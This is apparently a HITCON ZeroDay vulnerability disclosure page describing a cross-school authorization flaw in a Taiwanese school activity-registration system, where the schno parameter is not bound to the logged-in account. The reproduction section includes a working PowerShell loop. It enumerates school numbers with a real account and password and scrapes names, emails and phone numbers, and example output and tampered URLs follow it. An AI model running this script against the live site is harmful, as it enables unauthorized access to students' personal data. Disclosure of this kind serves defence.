全誼資訊 學號參數缺乏校驗導致越權 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2025-01176
  •  發信 Vendor: 全誼資訊(或者桃园市教育系统?)
  • Title: 全誼資訊 學號參數缺乏校驗導致越權
  • Introduction: 登入時 schno(學號/校編) 參數未綁定帳號,攻擊者可任意修改 schno,造成潛在跨校越權風險。

處理狀態

目前狀態

公開
Last Update : 2025/11/11
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2025/09/11 21:50:25 : 新提交 (由 23882 更新此狀態)
  • 2025/09/17 14:39:15 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/09/18 18:19:32 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/09/18 18:19:32 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/09/18 18:19:32 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/11/11 03:00:07 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2025-01176
  • 通報者:23882 (23882)
  • 風險:中
  • 類型:資訊洩漏 (Information Leakage)

參考資料

攻擊者可利用洩漏資訊進行下一步攻擊行為。

OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure

CWE-200 漏洞說明
https://cwe.mitre.org/data/definitions/200.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://mis.schoolsoft.com.tw/jsp/act_register/ACTOutIndexAction.do
(下方举例)
https://mis.schoolsoft.com.tw/jsp/act_register/ACTOutIndexAction.do?method=ACTOutIndex_MangList&schno=034787#

敘述

概要

本系統登入介面在驗證帳號 (ac/pw) 時,允許用戶自行提交參數 schno
測試發現:

  • 使用相同帳號密碼
  • 僅修改 schno 數值 (如 034785、034786、034789...)
  • 系統仍回應 "success": true,登入成功。

這表示 系統並未檢查該帳號是否屬於該 schno,存在 跨租戶 / 跨校越權風險

复现

window的powershell环境

$u="https://mis.schoolsoft.com.tw/jsp/act_register/ACTOutIndexAction.do";$ac="H185836093";$pw="780606";$h=@{"Content-Type"="application/x-www-form-urlencoded; charset=UTF-8";"X-Requested-With"="XMLHttpRequest"};(34700..34900)|%{$s=$_;$ws=New-Object Microsoft.PowerShell.Commands.WebRequestSession;$r1=Invoke-WebRequest -Uri $u -Method Post -Headers $h -Body "method=ACTOutIndex_Login&schno=$s&ac=$ac&pw=$pw&user_type=J" -WebSession $ws -ErrorAction SilentlyContinue;if($r1.Content -like '*"success":true*'){$r2=Invoke-WebRequest -Uri $u -Method Post -Headers $h -Body "method=ACTOutIndex_StdInfo" -WebSession $ws -ErrorAction SilentlyContinue;$name=[regex]::Match($r2.Content,'"name":"([^"]+)"').Groups[1].Value;$email=[regex]::Match($r2.Content,'"att_email":"([^"]+)"').Groups[1].Value;$phone=[regex]::Match($r2.Content,'"att_mobile3":"([^"]+)"').Groups[1].Value;Write-Host "[+] Hit: schno=$s | Name=$name | Email=$email | Phone=$phone"

得到我自己在各个学校的信息,但我只注册了长庚信息,这是命令框显示

[+] Hit: schno=34700 | Name=基隆市 | [email protected] | Phone=0938123456 [+] Hit: schno=34701 | Name=基隆市 | [email protected] | Phone=0938123456 [+] Hit: schno=34702 | Name=基隆市 | [email protected] | Phone=0938123456 [+] Hit: schno=34703 | Name=基隆市 | [email protected] | Phone=0938123456 [+] Hit: schno=34704 | Name=基隆市 | [email protected] | Phone=0938123456

也有更简单的方法,直接改url里的schno

https://mis.schoolsoft.com.tw/jsp/act_register/ACTOutIndexAction.do?method=ACTOutIndex_MangList&schno=034787

https://mis.schoolsoft.com.tw/jsp/act_register/ACTOutIndexAction.do?method=ACTOutIndex_MangList&schno=034788

https://mis.schoolsoft.com.tw/jsp/act_register/ACTOutIndexAction.do?method=ACTOutIndex_MangList&schno=034789

这都会有我自己的信息,但我只注册过长庚国民小学的外校生,疑似我没有选学校所以可以都访问

影响

可以进入别人的学校,同时所有个人信息都会复制到别的学校

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;